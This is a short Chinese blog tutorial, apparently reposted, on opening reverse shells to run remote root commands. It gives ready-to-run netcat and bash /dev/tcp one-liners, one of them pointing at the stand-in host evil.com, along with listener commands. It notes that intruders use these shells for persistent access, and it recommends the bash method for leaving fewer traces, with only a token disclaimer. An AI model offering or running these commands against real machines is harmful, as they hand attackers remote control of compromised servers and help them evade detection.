如何使用NetCat或BASH创建反向Shell来执行远程Root命令

 

反向Shell(Reverse Shell)

  • 反向shell的工作方式是远程计算机将自己的shell发送给特定的用户,而不是将shell绑定到一个端口上。后者在很多环境中是无法访问的。这样,你就可以对远程服务器执行root命令。

Bind Shell

  • bind shell是用户用BSAH,将shell绑定到一个本地端口上,这样任何人都可以在本地网络中发送命令。

反向shell经常会被黑客用来做一些不法行为,例如入侵了一台服务器后,他们会设置一个反向shell,将来他们就能通过这个shell轻松的访问这台远程计算机。我相信你是不会用它来做这种事情的。

环境要求

  • 远程Unix主机
  • 安装了netcat

使用NetCat实现反向shell交互

当通过shell登录到远程主机后,下面的指令能轻松的将shell发送到你的机器上:

nc -c /bin/sh <你的IP> <任何一个未封锁的端口>

你甚至能通过netcat来pipe BASH。

    /bin/sh | nc <你的IP> <任何未封锁的端口>

然后监听这个shell:

nc -l -p <相同的端口> -vvv

通过BASH实现反向shell

这种技术是当远程机器上没有netcat或你想做一些非自然的事情而不想留下太重的痕迹时使用。

监听shell:

nc -l -p <任何未封锁的端口> -vvv

先创建一个新的描述符,分配到一个网络节点。这样我们可以对这个描述符进行读写。

exec 5<>/dev/tcp/evil.com/<相同的端口> $ cat <&5 | while read line; do $line 2>&5 >&5; done

或另外一个反向shell:

0<&196;exec 196<>/dev/tcp/<你的IP>/<相同的端口>; sh <&196 >&196 2>&196

create-reverse-shell

这样,你就可以轻松是通过netcat发送任何命令了


本文摘自[找寻记忆]网站,原文链接“https://www.liloufan.com/jishu/2016/09/22135.html”转载请保留出处.

PS: 大家余生也别多多指教了,都TM爱咋过咋过吧!BY:梦梵FLY-2023-03-23

检测到复制操作